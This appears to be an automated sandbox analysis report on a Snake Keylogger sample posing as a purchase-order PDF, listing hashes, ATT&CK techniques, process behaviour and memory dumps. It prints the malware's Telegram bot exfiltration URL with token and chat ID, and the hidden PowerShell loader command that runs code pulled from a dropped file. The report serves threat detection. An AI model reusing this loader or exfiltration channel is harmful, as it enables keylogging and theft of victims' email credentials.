snakekeylogger | 2e39f29b755fc805008c9e6f1176886fa8a95f24b747c7b89111a2760df010fe

Analysis

max time kernel
144s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-11-2024 12:36

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General

Target

PO#7372732993039398372372973928392832973PDF.exe
Size

789KB
MD5

05e37e00aeb345d46e0d6d227788d0e7
SHA1

a0074e96d230f0a0bf8231a7abf6bc7cb628ed48
SHA256

2e39f29b755fc805008c9e6f1176886fa8a95f24b747c7b89111a2760df010fe
SHA512

2832448ce5601476d84c4a7a0cd405faaaf7cdf928892cd341e0f1f7850382f879b9d9fe4cc61131f3292f05cedfdc73cc4fdbe2ec54d4c108e429b181da3d63
SSDEEP

24576:IMwhYyOsQzjhJj1kc3qZx0PARxFWfcFqal/F4X5ZiNI:IMwh9OR9JRvaZq+WfQiX56I

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8040460346:AAFN58T9Y0-aqdzScEiebBO06S141L8RsSA/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/4556-207-0x0000000000EE0000-0x0000000000F06000-memory.dmp	family_snakekeylogger
behavioral2/memory/4556-206-0x0000000000EE0000-0x0000000002134000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
18	4556	msiexec.exe
21	4556	msiexec.exe
23	4556	msiexec.exe
27	4556	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4556	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4376	powershell.exe
4556	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	PO#7372732993039398372372973928392832973PDF.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	PO#7372732993039398372372973928392832973PDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO#7372732993039398372372973928392832973PDF.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4376	powershell.exe
4556	msiexec.exe
4556	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4376	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeIncreaseQuotaPrivilege	4376	powershell.exe
Token: SeSecurityPrivilege	4376	powershell.exe
Token: SeTakeOwnershipPrivilege	4376	powershell.exe
Token: SeLoadDriverPrivilege	4376	powershell.exe
Token: SeSystemProfilePrivilege	4376	powershell.exe
Token: SeSystemtimePrivilege	4376	powershell.exe
Token: SeProfSingleProcessPrivilege	4376	powershell.exe
Token: SeIncBasePriorityPrivilege	4376	powershell.exe
Token: SeCreatePagefilePrivilege	4376	powershell.exe
Token: SeBackupPrivilege	4376	powershell.exe
Token: SeRestorePrivilege	4376	powershell.exe
Token: SeShutdownPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeSystemEnvironmentPrivilege	4376	powershell.exe
Token: SeRemoteShutdownPrivilege	4376	powershell.exe
Token: SeUndockPrivilege	4376	powershell.exe
Token: SeManageVolumePrivilege	4376	powershell.exe
Token: 33	4376	powershell.exe
Token: 34	4376	powershell.exe
Token: 35	4376	powershell.exe
Token: 36	4376	powershell.exe
Token: SeDebugPrivilege	4556	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4880 wrote to memory of 4376	4880	PO#7372732993039398372372973928392832973PDF.exe	83
PID 4880 wrote to memory of 4376	4880	PO#7372732993039398372372973928392832973PDF.exe	83
PID 4880 wrote to memory of 4376	4880	PO#7372732993039398372372973928392832973PDF.exe	83
PID 4376 wrote to memory of 4556	4376	powershell.exe	95
PID 4376 wrote to memory of 4556	4376	powershell.exe	95
PID 4376 wrote to memory of 4556	4376	powershell.exe	95
PID 4376 wrote to memory of 4556	4376	powershell.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\PO#7372732993039398372372973928392832973PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PO#7372732993039398372372973928392832973PDF.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Paaklaget=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Biggings148\Soranere.Red198';$Chlorophenol=$Paaklaget.SubString(28844,3);.$Chlorophenol($Paaklaget)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_14cmzo13.vgf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Biggings148\Soranere.Red198

Filesize
54KB

MD5
45a45d4ca67207bba6b7c59f4516279d

SHA1
3b366b1fb6a9e042c37162c8173f51a6b3690650

SHA256
76a1abb4c1bea47aeda60dffe2c54b786dd79574a04f2267fa771ceb968d1cb5

SHA512
ac0fc5884b44b0e0257545b36410e31de3542374872780b831cb0440cdab8759e7c40ba67ec542978a32aecd372ea72766b1e1ace321a4e9793757e862cd8076

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Pibetjet.Spo

Filesize
346KB

MD5
33d8b7af03f8f86c7dadff999d058044

SHA1
edfd166c73f4c913911319cacda066e938e82d78

SHA256
463863fca87fa6ef7ff57e7219008f11951ea0cd53905a02b23304a9ece698ce

SHA512
63bb65f8eb68c062a4ca412a19d76039998a963c57773d5f211c9211bc8b6f6538670ace226eacad228cc9f13dd58fb79b7bcd7126f6f596fddefcc55f8f62b5

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
7b4d67ccf3984bcd883b25aa71a4be8e

SHA1
bdc742d982e2fc880bf9928c386b41ec5140582e

SHA256
4bdc1bdd9ac17b5b5ff0b262bda09090d01dfb249ba97792d0323c2e867c82d2

SHA512
f9e3db881a773c623dd6a0d2bd969c09efd799d0816e8b895f7873312596c0f977b9b49bc89bb0124cf1c8bc38f0b6513721e11d668480ee0437bf36aacaf06f

Download Submit
memory/4376-189-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-203-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-154-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/4376-190-0x0000000007B10000-0x0000000007B1A000-memory.dmp

Filesize
40KB

Download
memory/4376-151-0x00000000056F0000-0x0000000005D18000-memory.dmp

Filesize
6.2MB

Download
memory/4376-153-0x0000000005E20000-0x0000000005E86000-memory.dmp

Filesize
408KB

Download
memory/4376-165-0x0000000005F00000-0x0000000006254000-memory.dmp

Filesize
3.3MB

Download
memory/4376-166-0x0000000006550000-0x000000000656E000-memory.dmp

Filesize
120KB

Download
memory/4376-167-0x00000000065A0000-0x00000000065EC000-memory.dmp

Filesize
304KB

Download
memory/4376-168-0x0000000007550000-0x00000000075E6000-memory.dmp

Filesize
600KB

Download
memory/4376-169-0x0000000006A80000-0x0000000006A9A000-memory.dmp

Filesize
104KB

Download
memory/4376-170-0x0000000006AA0000-0x0000000006AC2000-memory.dmp

Filesize
136KB

Download
memory/4376-171-0x0000000007BA0000-0x0000000008144000-memory.dmp

Filesize
5.6MB

Download
memory/4376-150-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-173-0x00000000087D0000-0x0000000008E4A000-memory.dmp

Filesize
6.5MB

Download
memory/4376-176-0x00000000706E0000-0x0000000070A34000-memory.dmp

Filesize
3.3MB

Download
memory/4376-187-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-191-0x0000000007B50000-0x0000000007B7A000-memory.dmp

Filesize
168KB

Download
memory/4376-175-0x000000006FFE0000-0x000000007002C000-memory.dmp

Filesize
304KB

Download
memory/4376-174-0x00000000079A0000-0x00000000079D2000-memory.dmp

Filesize
200KB

Download
memory/4376-149-0x0000000004F10000-0x0000000004F46000-memory.dmp

Filesize
216KB

Download
memory/4376-188-0x0000000007A10000-0x0000000007AB3000-memory.dmp

Filesize
652KB

Download
memory/4376-155-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-192-0x0000000008290000-0x00000000082B4000-memory.dmp

Filesize
144KB

Download
memory/4376-186-0x00000000079E0000-0x00000000079FE000-memory.dmp

Filesize
120KB

Download
memory/4376-193-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-194-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-196-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-148-0x0000000073B5E000-0x0000000073B5F000-memory.dmp

Filesize
4KB

Download
memory/4376-199-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-198-0x0000000073B5E000-0x0000000073B5F000-memory.dmp

Filesize
4KB

Download
memory/4376-200-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-202-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4376-201-0x0000000008E50000-0x0000000009E41000-memory.dmp

Filesize
15.9MB

Download
memory/4376-152-0x0000000005520000-0x0000000005542000-memory.dmp

Filesize
136KB

Download
memory/4376-204-0x0000000073B50000-0x0000000074300000-memory.dmp

Filesize
7.7MB

Download
memory/4556-205-0x0000000002140000-0x0000000003131000-memory.dmp

Filesize
15.9MB

Download
memory/4556-207-0x0000000000EE0000-0x0000000000F06000-memory.dmp

Filesize
152KB

Download
memory/4556-206-0x0000000000EE0000-0x0000000002134000-memory.dmp

Filesize
18.3MB

Download
memory/4556-208-0x0000000020730000-0x00000000207CC000-memory.dmp

Filesize
624KB

Download
memory/4556-210-0x0000000002140000-0x0000000003131000-memory.dmp

Filesize
15.9MB

Download
memory/4556-211-0x0000000021350000-0x00000000213A0000-memory.dmp

Filesize
320KB

Download
memory/4556-212-0x0000000021570000-0x0000000021732000-memory.dmp

Filesize
1.8MB

Download
memory/4556-214-0x0000000021440000-0x00000000214D2000-memory.dmp

Filesize
584KB

Download
memory/4556-215-0x00000000213A0000-0x00000000213AA000-memory.dmp

Filesize
40KB

Download